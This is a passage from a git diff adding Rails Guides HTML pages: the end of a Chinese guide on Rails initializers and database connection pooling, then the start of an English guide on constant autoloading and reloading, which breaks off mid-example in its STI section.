Rails 中有几个初始化脚本使用 Rails::Railtieinitializer 方法定义,在程序启动时运行。下面这段代码摘自 Action Controller 中的 set_helpers_path 初始化脚本:

+
+initializer "action_controller.set_helpers_path" do |app|
+  ActionController::Helpers.helpers_path = app.helpers_paths
+end
+
+
+
+

initializer 方法接受三个参数,第一个是初始化脚本的名字,第二个是选项 Hash(上述代码中没用到),第三个参数是代码块。参数 Hash 中的 :before 键指定在特定的初始化脚本之前运行,:after 键指定在特定的初始化脚本之后运行。

使用 initializer 方法定义的初始化脚本按照定义的顺序运行,但指定 :before:after 参数的初始化脚本例外。

初始化脚本可放在任一初始化脚本的前面或后面,只要符合逻辑即可。假设定义了四个初始化脚本,名字为 "one""four"(就按照这个顺序定义),其中 "four""four" 之前,且在 "three" 之后,这就不符合逻辑,Rails 无法判断初始化脚本的加载顺序。

initializer 方法的代码块参数是程序实例,因此可以调用 config 方法,如上例所示。

因为 Rails::Application 直接继承自 Rails::Railtie,因此可在文件 config/application.rb 中使用 initializer 方法定义程序的初始化脚本。

6.2 3初始化脚本

下面列出了 Rails 中的所有初始化脚本,按照定义的顺序,除非特别说明,也按照这个顺序执行。

+
    +
  • load_environment_hook:只是一个占位符,让 :load_environment_config 在其前运行。

  • +
  • load_active_support:加载 active_support/dependencies,加入 Active Support 的基础。如果 config.active_support.bare 为非真值(默认),还会加载 active_support/all

  • +
  • initialize_logger:初始化日志程序(ActiveSupport::Logger 对象),可通过 Rails.logger 调用。在此之前的初始化脚本中不能定义 Rails.logger

  • +
  • initialize_cache:如果还没创建 Rails.cache,使用 config.cache_store 指定的方式初始化缓存,并存入 Rails.cache。如果对象能响应 middleware 方法,对应的中间件会插入 Rack::Runtime 之前。

  • +
  • set_clear_dependencies_hook:为 active_record.set_dispatch_hooks 提供钩子,在本初始化脚本之前运行。这个初始化脚本只有当 cache_classesfalse 时才会运行,使用 ActionDispatch::Callbacks.after 从对象空间中删除请求过程中已经引用的常量,以便下次请求重新加载。

  • +
  • initialize_dependency_mechanism:如果 config.cache_classestrue,设置 ActiveSupport::Dependencies.mechanism 使用 require 而不是 load 加载依赖件。

  • +
  • bootstrap_hook:运行所有 before_initialize 代码块。

  • +
  • i18n.callbacks:在开发环境中,设置一个 to_prepare 回调,调用 I18n.reload! 加载上次请求后修改的本地化翻译。在生产环境中这个回调只会在首次请求时运行。

  • +
  • active_support.deprecation_behavior:设置各环境的废弃提醒方式,开发环境的方式为 :log,生产环境的方式为 :notify,测试环境的方式为 :stderr。如果没有为 config.active_support.deprecation 设定值,这个初始化脚本会提醒用户在当前环境的设置文件中设置。可以设为一个数组。

  • +
  • active_support.initialize_time_zone:根据 config.time_zone 设置程序的默认时区,默认值为 "UTC"

  • +
  • active_support.initialize_beginning_of_week:根据 config.beginning_of_week 设置程序默认使用的一周开始日,默认值为 :monday

  • +
  • action_dispatch.configure:把 ActionDispatch::Http::URL.tld_length 设置为 config.action_dispatch.tld_length 指定的值。

  • +
  • action_view.set_configs:根据 config.action_view 设置 Action View,把指定的方法名做为赋值方法发送给 ActionView::Base,并传入指定的值。

  • +
  • action_controller.logger:如果还未创建,把 ActionController::Base.logger 设为 Rails.logger

  • +
  • action_controller.initialize_framework_caches:如果还未创建,把 ActionController::Base.cache_store 设为 Rails.cache

  • +
  • action_controller.set_configs:根据 config.action_controller 设置 Action Controller,把指定的方法名作为赋值方法发送给 ActionController::Base,并传入指定的值。

  • +
  • action_controller.compile_config_methods:初始化指定的设置方法,以便快速访问。

  • +
  • active_record.initialize_timezone:把 ActiveRecord::Base.time_zone_aware_attributes 设为 true,并把 ActiveRecord::Base.default_timezone 设为 UTC。从数据库中读取数据时,转换成 Time.zone 中指定的时区。

  • +
  • active_record.logger:如果还未创建,把 ActiveRecord::Base.logger 设为 Rails.logger

  • +
  • active_record.set_configs:根据 config.active_record 设置 Active Record,把指定的方法名作为赋值方法传给 ActiveRecord::Base,并传入指定的值。

  • +
  • active_record.initialize_database:从 config/database.yml 中加载数据库设置信息,并为当前环境建立数据库连接。

  • +
  • active_record.log_runtime:引入 ActiveRecord::Railties::ControllerRuntime,这个模块负责把 Active Record 查询花费的时间写入日志。

  • +
  • active_record.set_dispatch_hooks:如果 config.cache_classesfalse,重置所有可重新加载的数据库连接。

  • +
  • action_mailer.logger:如果还未创建,把 ActionMailer::Base.logger 设为 Rails.logger

  • +
  • action_mailer.set_configs:根据 config.action_mailer 设置 Action Mailer,把指定的方法名作为赋值方法发送给 ActionMailer::Base,并传入指定的值。

  • +
  • action_mailer.compile_config_methods:初始化指定的设置方法,以便快速访问。

  • +
  • set_load_path:在 bootstrap_hook 之前运行。把 vendor 文件夹、lib 文件夹、app 文件夹中的所有子文件夹,以及 config.load_paths 中指定的路径加入 $LOAD_PATH

  • +
  • set_autoload_paths:在 bootstrap_hook 之前运行。把 app 文件夹中的所有子文件夹,以及 config.autoload_paths 指定的路径加入 ActiveSupport::Dependencies.autoload_paths

  • +
  • add_routing_paths:加载所有 config/routes.rb 文件(程序中的,Railtie 中的,以及引擎中的),并创建程序的路由。

  • +
  • add_locales:把 config/locales 文件夹中的所有文件(程序中的,Railties 中的,以及引擎中的)加入 I18n.load_path,让这些文件中的翻译可用。

  • +
  • add_view_paths:把程序、Railtie 和引擎中的 app/views 文件夹加入视图文件查找路径。

  • +
  • load_environment_config:加载 config/environments 文件夹中当前环境对应的设置文件。

  • +
  • append_asset_paths:查找程序的静态资源文件路径,Railtie 中的静态资源文件路径,以及 config.static_asset_paths 中可用的文件夹。

  • +
  • prepend_helpers_path:把程序、Railtie、引擎中的 app/helpers 文件夹加入帮助文件查找路径。

  • +
  • load_config_initializers:加载程序、Railtie、引擎中 config/initializers 文件夹里所有的 Ruby 文件。这些文件可在框架加载后做设置。

  • +
  • engines_blank_point:在初始化过程加入一个时间点,以防加载引擎之前要做什么处理。在这一点之后,会运行所有 Railtie 和引擎的初始化脚本。

  • +
  • add_generator_templates:在程序、Railtie、引擎的 lib/templates 文件夹中查找生成器使用的模板,并把这些模板添加到 config.generators.templates,让所有生成器都能使用。

  • +
  • ensure_autoload_once_paths_as_subset:确保 config.autoload_once_paths 只包含 config.autoload_paths 中的路径。如果包含其他路径,会抛出异常。

  • +
  • add_to_prepare_blocks:把程序、Railtie、引擎中的 config.to_prepare 加入 Action Dispatch 的 to_prepare 回调中,这些回调在开发环境中每次请求都会运行,但在生产环境中只在首次请求前运行。

  • +
  • add_builtin_route:如果程序运行在开发环境中,这个初始化脚本会把 rails/info/properties 添加到程序的路由中。这个路由对应的页面显示了程序的详细信息,例如 Rails 和 Ruby 版本。

  • +
  • build_middleware_stack:构建程序的中间件列表,返回一个对象,可响应 call 方法,参数为 Rack 请求的环境对象。

  • +
  • eager_load!:如果 config.eager_loadtrue,运行 config.before_eager_load 钩子,然后调用 eager_load!,加载所有 config.eager_load_namespaces 中的命名空间。

  • +
  • finisher_hook:为程序初始化完成点提供一个钩子,还会运行程序、Railtie、引擎中的所有 config.after_initialize 代码块。

  • +
  • set_routes_reloader:设置 Action Dispatch 使用 ActionDispatch::Callbacks.to_prepare 重新加载路由文件。

  • +
  • disable_dependency_loading:如果 config.eager_loadtrue,禁止自动加载依赖件。

  • +
+

7 数据库连接池

Active Record 数据库连接由 ActiveRecord::ConnectionAdapters::ConnectionPool 管理,确保一个连接池的线程量限制在有限的数据库连接数之内。这个限制量默认为 5,但可以在文件 database.yml 中设置。

+
+development:
+  adapter: sqlite3
+  database: db/development.sqlite3
+  pool: 5
+  timeout: 5000
+
+
+
+

因为连接池在 Active Record 内部处理,因此程序服务器(Thin,mongrel,Unicorn 等)要表现一致。一开始数据库连接池是空的,然后按需创建更多的链接,直到达到连接池数量限制为止。

任何一个请求在初次需要连接数据库时都要检查连接,请求处理完成后还会再次检查,确保后续连接可使用这个连接池。

如果尝试使用比可用限制更多的连接,Active Record 会阻塞连接,等待连接池分配新的连接。如果无法获得连接,会抛出如下所示的异常。

+
+ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5 seconds. The max pool size is currently 5; consider increasing it:
+
+
+
+

如果看到以上异常,可能需要增加连接池限制数量,方法是修改 database.yml 文件中的 pool 选项。

如果在多线程环境中运行程序,有可能多个线程同时使用多个连接。所以,如果程序的请求量很大,有可能出现多个线程抢用有限的连接。

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/constant_autoloading_and_reloading.html b/v4.1/constant_autoloading_and_reloading.html new file mode 100644 index 0000000..f2a27be --- /dev/null +++ b/v4.1/constant_autoloading_and_reloading.html @@ -0,0 +1,1256 @@ + + + + + + + +Autoloading and Reloading Constants — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Autoloading and Reloading Constants

This guide documents how constant autoloading and reloading works.

After reading this guide, you will know:

+
    +
  • Key aspects of Ruby constants
  • +
  • What is autoload_paths
  • +
  • How constant autoloading works
  • +
  • What is require_dependency
  • +
  • How constant reloading works
  • +
  • Solutions to common autoloading gotchas
  • +
+ + + + +
+
+ +
+
+
+

1 Introduction

Ruby on Rails allows applications to be written as if their code was preloaded.

In a normal Ruby program classes need to load their dependencies:

+
+require 'application_controller'
+require 'post'
+
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+
+
+
+

Our Rubyist instinct quickly sees some redundancy in there: If classes were +defined in files matching their name, couldn't their loading be automated +somehow? We could save scanning the file for dependencies, which is brittle.

Moreover, Kernel#require loads files once, but development is much more smooth +if code gets refreshed when it changes without restarting the server. It would +be nice to be able to use Kernel#load in development, and Kernel#require in +production.

Indeed, those features are provided by Ruby on Rails, where we just write

+
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+
+
+
+

This guide documents how that works.

2 Constants Refresher

While constants are trivial in most programming languages, they are a rich +topic in Ruby.

It is beyond the scope of this guide to document Ruby constants, but we are +nevertheless going to highlight a few key topics. Truly grasping the following +sections is instrumental to understanding constant autoloading and reloading.

2.1 Nesting

Class and module definitions can be nested to create namespaces:

+
+module XML
+  class SAXParser
+    # (1)
+  end
+end
+
+
+
+

The nesting at any given place is the collection of enclosing nested class and +module objects outwards. For example, in the previous example, the nesting at +(1) is

+
+[XML::SAXParser, XML]
+
+
+
+

It is important to understand that the nesting is composed of class and module +objects, it has nothing to do with the constants used to access them, and is +also unrelated to their names.

For instance, while this definition is similar to the previous one:

+
+class XML::SAXParser
+  # (2)
+end
+
+
+
+

the nesting in (2) is different:

+
+[XML::SAXParser]
+
+
+
+

XML does not belong to it.

We can see in this example that the name of a class or module that belongs to a +certain nesting does not necessarily correlate with the namespaces at the spot.

Even more, they are totally independent, take for instance

+
+module X::Y
+  module A::B
+    # (3)
+  end
+end
+
+
+
+

The nesting in (3) consists of two module objects:

+
+[A::B, X::Y]
+
+
+
+

So, it not only doesn't end in A, which does not even belong to the nesting, +but it also contains X::Y, which is independent from A::B.

The nesting is an internal stack maintained by the interpreter, and it gets +modified according to these rules:

+
    +
  • The class object following a class keyword gets pushed when its body is +executed, and popped after it.

  • +
  • The module object following a module keyword gets pushed when its body is +executed, and popped after it.

  • +
  • A singleton class opened with class << object gets pushed, and popped later.

  • +
  • When any of the *_eval family of methods is called using a string argument, +the singleton class of the receiver is pushed to the nesting of the eval'ed +code.

  • +
  • The nesting at the top-level of code interpreted by Kernel#load is empty +unless the load call receives a true value as second argument, in which case +a newly created anonymous module is pushed by Ruby.

  • +
+

It is interesting to observe that blocks do not modify the stack. In particular +the blocks that may be passed to Class.new and Module.new do not get the +class or module being defined pushed to their nesting. That's one of the +differences between defining classes and modules in one way or another.

The nesting at any given place can be inspected with Module.nesting.

2.2 Class and Module Definitions are Constant Assignments

Let's suppose the following snippet creates a class (rather than reopening it):

+
+class C
+end
+
+
+
+

Ruby creates a constant C in Object and stores in that constant a class +object. The name of the class instance is "C", a string, named after the +constant.

That is,

+
+class Project < ActiveRecord::Base
+end
+
+
+
+

performs a constant assignment equivalent to

+
+Project = Class.new(ActiveRecord::Base)
+
+
+
+

including setting the name of the class as a side-effect:

+
+Project.name # => "Project"
+
+
+
+

Constant assignment has a special rule to make that happen: if the object +being assigned is an anonymous class or module, Ruby sets the object's name to +the name of the constant.

From then on, what happens to the constant and the instance does not +matter. For example, the constant could be deleted, the class object could be +assigned to a different constant, be stored in no constant anymore, etc. Once +the name is set, it doesn't change.

Similarly, module creation using the module keyword as in

+
+module Admin
+end
+
+
+
+

performs a constant assignment equivalent to

+
+Admin = Module.new
+
+
+
+

including setting the name as a side-effect:

+
+Admin.name # => "Admin"
+
+
+
+

The execution context of a block passed to Class.new or Module.new +is not entirely equivalent to the one of the body of the definitions using the +class and module keywords. But both idioms result in the same constant +assignment.

Thus, when one informally says "the String class", that really means: the +class object stored in the constant called "String" in the class object stored +in the Object constant. String is otherwise an ordinary Ruby constant and +everything related to constants such as resolution algorithms applies to it.

Likewise, in the controller

+
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+
+
+
+

Post is not syntax for a class. Rather, Post is a regular Ruby constant. If +all is good, the constant evaluates to an object that responds to all.

That is why we talk about constant autoloading, Rails has the ability to +load constants on the fly.

2.3 Constants are Stored in Modules

Constants belong to modules in a very literal sense. Classes and modules have +a constant table; think of it as a hash table.

Let's analyze an example to really understand what that means. While common +abuses of language like "the String class" are convenient, the exposition is +going to be precise here for didactic purposes.

Let's consider the following module definition:

+
+module Colors
+  RED = '0xff0000'
+end
+
+
+
+

First, when the module keyword is processed the interpreter creates a new +entry in the constant table of the class object stored in the Object constant. +Said entry associates the name "Colors" to a newly created module object. +Furthermore, the interpreter sets the name of the new module object to be the +string "Colors".

Later, when the body of the module definition is interpreted, a new entry is +created in the constant table of the module object stored in the Colors +constant. That entry maps the name "RED" to the string "0xff0000".

In particular, Colors::RED is totally unrelated to any other RED constant +that may live in any other class or module object. If there were any, they +would have separate entries in their respective constant tables.

Pay special attention in the previous paragraphs to the distinction between +class and module objects, constant names, and value objects associated to them +in constant tables.

2.4 Resolution Algorithms

2.4.1 Resolution Algorithm for Relative Constants

At any given place in the code, let's define cref to be the first element of +the nesting if it is not empty, or Object otherwise.

Without getting too much into the details, the resolution algorithm for relative +constant references goes like this:

+
    +
  1. If the nesting is not empty the constant is looked up in its elements and in +order. The ancestors of those elements are ignored.

  2. +
  3. If not found, then the algorithm walks up the ancestor chain of the cref.

  4. +
  5. If not found, const_missing is invoked on the cref. The default +implementation of const_missing raises NameError, but it can be overridden.

  6. +
+

Rails autoloading does not emulate this algorithm, but its starting point is +the name of the constant to be autoloaded, and the cref. See more in Relative +References.

2.4.2 Resolution Algorithm for Qualified Constants

Qualified constants look like this:

+
+Billing::Invoice
+
+
+
+

Billing::Invoice is composed of two constants: Billing is relative and is +resolved using the algorithm of the previous section.

Leading colons would make the first segment absolute rather than +relative: ::Billing::Invoice. That would force Billing to be looked up +only as a top-level constant.

Invoice on the other hand is qualified by Billing and we are going to see +its resolution next. Let's call parent to that qualifying class or module +object, that is, Billing in the example above. The algorithm for qualified +constants goes like this:

+
    +
  1. The constant is looked up in the parent and its ancestors.

  2. +
  3. If the lookup fails, const_missing is invoked in the parent. The default +implementation of const_missing raises NameError, but it can be overridden.

  4. +
+

As you see, this algorithm is simpler than the one for relative constants. In +particular, the nesting plays no role here, and modules are not special-cased, +if neither they nor their ancestors have the constants, Object is not +checked.

Rails autoloading does not emulate this algorithm, but its starting point is +the name of the constant to be autoloaded, and the parent. See more in +Qualified References.

3 Vocabulary

3.1 Parent Namespaces

Given a string with a constant path we define its parent namespace to be the +string that results from removing its rightmost segment.

For example, the parent namespace of the string "A::B::C" is the string "A::B", +the parent namespace of "A::B" is "A", and the parent namespace of "A" is "".

The interpretation of a parent namespace when thinking about classes and modules +is tricky though. Let's consider a module M named "A::B":

+
    +
  • The parent namespace, "A", may not reflect nesting at a given spot.

  • +
  • The constant A may no longer exist, some code could have removed it from +Object.

  • +
  • If A exists, the class or module that was originally in A may not be there +anymore. For example, if after a constant removal there was another constant +assignment there would generally be a different object in there.

  • +
  • In such case, it could even happen that the reassigned A held a new class or +module called also "A"!

  • +
  • In the previous scenarios M would no longer be reachable through A::B but +the module object itself could still be alive somewhere and its name would +still be "A::B".

  • +
+

The idea of a parent namespace is at the core of the autoloading algorithms +and helps explain and understand their motivation intuitively, but as you see +that metaphor leaks easily. Given an edge case to reason about, take always into +account that by "parent namespace" the guide means exactly that specific string +derivation.

3.2 Loading Mechanism

Rails autoloads files with Kernel#load when config.cache_classes is false, +the default in development mode, and with Kernel#require otherwise, the +default in production mode.

Kernel#load allows Rails to execute files more than once if constant +reloading is enabled.

This guide uses the word "load" freely to mean a given file is interpreted, but +the actual mechanism can be Kernel#load or Kernel#require depending on that +flag.

4 Autoloading Availability

Rails is always able to autoload provided its environment is in place. For +example the runner command autoloads:

+
+$ bin/rails runner 'p User.column_names'
+["id", "email", "created_at", "updated_at"]
+
+
+
+

The console autoloads, the test suite autoloads, and of course the application +autoloads.

By default, Rails eager loads the application files when it boots in production +mode, so most of the autoloading going on in development does not happen. But +autoloading may still be triggered during eager loading.

For example, given

+
+class BeachHouse < House
+end
+
+
+
+

if House is still unknown when app/models/beach_house.rb is being eager +loaded, Rails autoloads it.

5 autoload_paths

As you probably know, when require gets a relative file name:

+
+require 'erb'
+
+
+
+

Ruby looks for the file in the directories listed in $LOAD_PATH. That is, Ruby +iterates over all its directories and for each one of them checks whether they +have a file called "erb.rb", or "erb.so", or "erb.o", or "erb.dll". If it finds +any of them, the interpreter loads it and ends the search. Otherwise, it tries +again in the next directory of the list. If the list gets exhausted, LoadError +is raised.

We are going to cover how constant autoloading works in more detail later, but +the idea is that when a constant like Post is hit and missing, if there's a +post.rb file for example in app/models Rails is going to find it, evaluate +it, and have Post defined as a side-effect.

Alright, Rails has a collection of directories similar to $LOAD_PATH in which +to look up post.rb. That collection is called autoload_paths and by +default it contains:

+
    +
  • All subdirectories of app in the application and engines. For example, +app/controllers. They do not need to be the default ones, any custom +directories like app/workers belong automatically to autoload_paths.

  • +
  • Any existing second level directories called app/*/concerns in the +application and engines.

  • +
  • The directory test/mailers/previews.

  • +
+

Also, this collection is configurable via config.autoload_paths. For example, +lib was in the list years ago, but no longer is. An application can opt-in +by adding this to config/application.rb:

+
+config.autoload_paths += "#{Rails.root}/lib"
+
+
+
+

The value of autoload_paths can be inspected. In a just generated application +it is (edited):

+
+$ bin/rails r 'puts ActiveSupport::Dependencies.autoload_paths'
+.../app/assets
+.../app/controllers
+.../app/helpers
+.../app/mailers
+.../app/models
+.../app/controllers/concerns
+.../app/models/concerns
+.../test/mailers/previews
+
+
+
+

autoload_paths is computed and cached during the initialization process. +The application needs to be restarted to reflect any changes in the directory +structure.

6 Autoloading Algorithms

6.1 Relative References

A relative constant reference may appear in several places, for example, in

+
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+
+
+
+

all three constant references are relative.

6.1.1 Constants after the class and module Keywords

Ruby performs a lookup for the constant that follows a class or module +keyword because it needs to know if the class or module is going to be created +or reopened.

If the constant is not defined at that point it is not considered to be a +missing constant, autoloading is not triggered.

So, in the previous example, if PostsController is not defined when the file +is interpreted Rails autoloading is not going to be triggered, Ruby will just +define the controller.

6.1.2 Top-Level Constants

On the contrary, if ApplicationController is unknown, the constant is +considered missing and an autoload is going to be attempted by Rails.

In order to load ApplicationController, Rails iterates over autoload_paths. +First checks if app/assets/application_controller.rb exists. If it does not, +which is normally the case, it continues and finds +app/controllers/application_controller.rb.

If the file defines the constant ApplicationController all is fine, otherwise +LoadError is raised:

+
+unable to autoload constant ApplicationController, expected
+<full path to application_controller.rb> to define it (LoadError)
+
+
+
+

Rails does not require the value of autoloaded constants to be a class or +module object. For example, if the file app/models/max_clients.rb defines +MAX_CLIENTS = 100 autoloading MAX_CLIENTS works just fine.

6.1.3 Namespaces

Autoloading ApplicationController looks directly under the directories of +autoload_paths because the nesting in that spot is empty. The situation of +Post is different, the nesting in that line is [PostsController] and support +for namespaces comes into play.

The basic idea is that given

+
+module Admin
+  class BaseController < ApplicationController
+    @@all_roles = Role.all
+  end
+end
+
+
+
+

to autoload Role we are going to check if it is defined in the current or +parent namespaces, one at a time. So, conceptually we want to try to autoload +any of

+
+Admin::BaseController::Role
+Admin::Role
+Role
+
+
+
+

in that order. That's the idea. To do so, Rails looks in autoload_paths +respectively for file names like these:

+
+admin/base_controller/role.rb
+admin/role.rb
+role.rb
+
+
+
+

modulus some additional directory lookups we are going to cover soon.

'Constant::Name'.underscore gives the relative path without extension of +the file name where Constant::Name is expected to be defined.

Let's see how Rails autoloads the Post constant in the PostsController +above assuming the application has a Post model defined in +app/models/post.rb.

First it checks for posts_controller/post.rb in autoload_paths:

+
+app/assets/posts_controller/post.rb
+app/controllers/posts_controller/post.rb
+app/helpers/posts_controller/post.rb
+...
+test/mailers/previews/posts_controller/post.rb
+
+
+
+

Since the lookup is exhausted without success, a similar search for a directory +is performed, we are going to see why in the next section:

+
+app/assets/posts_controller/post
+app/controllers/posts_controller/post
+app/helpers/posts_controller/post
+...
+test/mailers/previews/posts_controller/post
+
+
+
+

If all those attempts fail, then Rails starts the lookup again in the parent +namespace. In this case only the top-level remains:

+
+app/assets/post.rb
+app/controllers/post.rb
+app/helpers/post.rb
+app/mailers/post.rb
+app/models/post.rb
+
+
+
+

A matching file is found in app/models/post.rb. The lookup stops there and the +file is loaded. If the file actually defines Post all is fine, otherwise +LoadError is raised.

6.2 Qualified References

When a qualified constant is missing Rails does not look for it in the parent +namespaces. But there is a caveat: When a constant is missing, Rails is +unable to tell if the trigger was a relative reference or a qualified one.

For example, consider

+
+module Admin
+  User
+end
+
+
+
+

and

+
+Admin::User
+
+
+
+

If User is missing, in either case all Rails knows is that a constant called +"User" was missing in a module called "Admin".

If there is a top-level User Ruby would resolve it in the former example, but +wouldn't in the latter. In general, Rails does not emulate the Ruby constant +resolution algorithms, but in this case it tries using the following heuristic:

+
+

If none of the parent namespaces of the class or module has the missing +constant then Rails assumes the reference is relative. Otherwise qualified.

+
+

For example, if this code triggers autoloading

+
+Admin::User
+
+
+
+

and the User constant is already present in Object, it is not possible that +the situation is

+
+module Admin
+  User
+end
+
+
+
+

because otherwise Ruby would have resolved User and no autoloading would have +been triggered in the first place. Thus, Rails assumes a qualified reference and +considers the file admin/user.rb and directory admin/user to be the only +valid options.

In practice, this works quite well as long as the nesting matches all parent +namespaces respectively and the constants that make the rule apply are known at +that time.

However, autoloading happens on demand. If by chance the top-level User was +not yet loaded, then Rails assumes a relative reference by contract.

Naming conflicts of this kind are rare in practice, but if one occurs, +require_dependency provides a solution by ensuring that the constant needed +to trigger the heuristic is defined in the conflicting place.

6.3 Automatic Modules

When a module acts as a namespace, Rails does not require the application to +defines a file for it, a directory matching the namespace is enough.

Suppose an application has a back office whose controllers are stored in +app/controllers/admin. If the Admin module is not yet loaded when +Admin::UsersController is hit, Rails needs first to autoload the constant +Admin.

If autoload_paths has a file called admin.rb Rails is going to load that +one, but if there's no such file and a directory called admin is found, Rails +creates an empty module and assigns it to the Admin constant on the fly.

6.4 Generic Procedure

Relative references are reported to be missing in the cref where they were hit, +and qualified references are reported to be missing in their parent. (See +Resolution Algorithm for Relative +Constants at the beginning of +this guide for the definition of cref, and Resolution Algorithm for Qualified +Constants for the definition of +parent.)

The procedure to autoload constant C in an arbitrary situation is as follows:

+
+if the class or module in which C is missing is Object
+  let ns = ''
+else
+  let M = the class or module in which C is missing
+
+  if M is anonymous
+    let ns = ''
+  else
+    let ns = M.name
+  end
+end
+
+loop do
+  # Look for a regular file.
+  for dir in autoload_paths
+    if the file "#{dir}/#{ns.underscore}/c.rb" exists
+      load/require "#{dir}/#{ns.underscore}/c.rb"
+
+      if C is now defined
+        return
+      else
+        raise LoadError
+      end
+    end
+  end
+
+  # Look for an automatic module.
+  for dir in autoload_paths
+    if the directory "#{dir}/#{ns.underscore}/c" exists
+      if ns is an empty string
+        let C = Module.new in Object and return
+      else
+        let C = Module.new in ns.constantize and return
+      end
+    end
+  end
+
+  if ns is empty
+    # We reached the top-level without finding the constant.
+    raise NameError
+  else
+    if C exists in any of the parent namespaces
+      # Qualified constants heuristic.
+      raise NameError
+    else
+      # Try again in the parent namespace.
+      let ns = the parent namespace of ns and retry
+    end
+  end
+end
+
+
+
+

7 require_dependency

Constant autoloading is triggered on demand and therefore code that uses a +certain constant may have it already defined or may trigger an autoload. That +depends on the execution path and it may vary between runs.

There are times, however, in which you want to make sure a certain constant is +known when the execution reaches some code. require_dependency provides a way +to load a file using the current loading mechanism, and +keeping track of constants defined in that file as if they were autoloaded to +have them reloaded as needed.

require_dependency is rarely needed, but see a couple of use-cases in +Autoloading and STI and When Constants aren't +Triggered.

Unlike autoloading, require_dependency does not expect the file to +define any particular constant. Exploiting this behavior would be a bad practice +though, file and constant paths should match.

8 Constant Reloading

When config.cache_classes is false Rails is able to reload autoloaded +constants.

For example, in you're in a console session and edit some file behind the +scenes, the code can be reloaded with the reload! command:

+
+> reload!
+
+
+
+

When the application runs, code is reloaded when something relevant to this +logic changes. In order to do that, Rails monitors a number of things:

+
    +
  • config/routes.rb.

  • +
  • Locales.

  • +
  • Ruby files under autoload_paths.

  • +
  • db/schema.rb and db/structure.sql.

  • +
+

If anything in there changes, there is a middleware that detects it and reloads +the code.

Autoloading keeps track of autoloaded constants. Reloading is implemented by +removing them all from their respective classes and modules using +Module#remove_const. That way, when the code goes on, those constants are +going to be unknown again, and files reloaded on demand.

This is an all-or-nothing operation, Rails does not attempt to reload only +what changed since dependencies between classes makes that really tricky. +Instead, everything is wiped.

9 Module#autoload isn't Involved

Module#autoload provides a lazy way to load constants that is fully integrated +with the Ruby constant lookup algorithms, dynamic constant API, etc. It is quite +transparent.

Rails internals make extensive use of it to defer as much work as possible from +the boot process. But constant autoloading in Rails is not implemented with +Module#autoload.

One possible implementation based on Module#autoload would be to walk the +application tree and issue autoload calls that map existing file names to +their conventional constant name.

There are a number of reasons that prevent Rails from using that implementation.

For example, Module#autoload is only capable of loading files using require, +so reloading would not be possible. Not only that, it uses an internal require +which is not Kernel#require.

Then, it provides no way to remove declarations in case a file is deleted. If a +constant gets removed with Module#remove_const its autoload is not triggered +again. Also, it doesn't support qualified names, so files with namespaces should +be interpreted during the walk tree to install their own autoload calls, but +those files could have constant references not yet configured.

An implementation based on Module#autoload would be awesome but, as you see, +at least as of today it is not possible. Constant autoloading in Rails is +implemented with Module#const_missing, and that's why it has its own contract, +documented in this guide.

10 Common Gotchas

10.1 Nesting and Qualified Constants

Let's consider

+
+module Admin
+  class UsersController < ApplicationController
+    def index
+      @users = User.all
+    end
+  end
+end
+
+
+
+

and

+
+class Admin::UsersController < ApplicationController
+  def index
+    @users = User.all
+  end
+end
+
+
+
+

To resolve User Ruby checks Admin in the former case, but it does not in +the latter because it does not belong to the nesting. (See Nesting +and Resolution Algorithms.)

Unfortunately Rails autoloading does not know the nesting in the spot where the +constant was missing and so it is not able to act as Ruby would. In particular, +Admin::User will get autoloaded in either case.

Albeit qualified constants with class and module keywords may technically +work with autoloading in some cases, it is preferable to use relative constants +instead:

+
+module Admin
+  class UsersController < ApplicationController
+    def index
+      @users = User.all
+    end
+  end
+end
+
+
+
+

10.2 Autoloading and STI

Single Table Inheritance (STI) is a feature of Active Record that enables +storing a hierarchy of models in one single table. The API of such models is +aware of the hierarchy and encapsulates some common needs. For example, given +these classes:

+
+# app/models/polygon.rb
+class Polygon < ActiveRecord::Base
+end
+
+# app/models/triangle.rb
+class Triangle < Polygon
+end
+
+# app/models/rectangle.rb
+class Rectangle < Polygon
+end
+
+
+
+

Triangle.create creates a row that represents a triangle, and +Rectangle.create creates a row that represents a rectangle. If id is the +ID of an existing record, Polygon.find(id) returns an object of the correct +type.

Methods that operate on collections are also aware of the hierarchy. For +example, Polygon.all returns all the records of the table, because all +rectangles and triangles are polygons. Active Record takes care of returning +instances of their corresponding class in the result set.

Types are autoloaded as needed. For example, if Polygon.first is a rectangle +and Rectangle has not yet been loaded, Active Record autoloads it and the +record is correctly instantiated.

All good, but if instead of performing queries based on the root class we need +to work on some subclass, things get interesting.

While working with Polygon you do not need to be aware of all its descendants, +because anything in the table is by definition a polygon, but when working with +subclasses Active Record needs to be able to enumerate the types it is looking +for. Let’s see an example.

Rectangle.all only loads rectangles by adding a type constraint to the query:

+
+SELECT "polygons".* FROM "polygons"
+WHERE "polygons"."type" IN ("Rectangle")
+
+
+
+

Let’s introduce now a subclass of Rectangle:

+
+# app/models/square.rb
+class Square < Rectangle
+end
+
+
+
+

Rectangle.all should now return rectangles and squares:

+
+SELECT "polygons".* FROM "polygons"
+WHERE "polygons"."type" IN ("Rectangle", "Square")
+
+
+
+

But there’s a caveat here: How does Active Record know that the class Square +exists at all?

Even if the file app/models/square.rb exists and defines the Square class, +if no code yet used that class, Rectangle.all issues the query

+
+SELECT "polygons".* FROM "polygons"
+WHERE "polygons"."type" IN ("Rectangle")
+
+
+
+

That is not a bug, the query includes all known descendants of Rectangle.

A way to ensure this works correctly regardless of the order of execution is to +load the leaves of the tree by hand at the bottom of the file that defines the +root class:

+
+# app/models/polygon.rb
+class Polygon < ActiveRecord::Base
+end
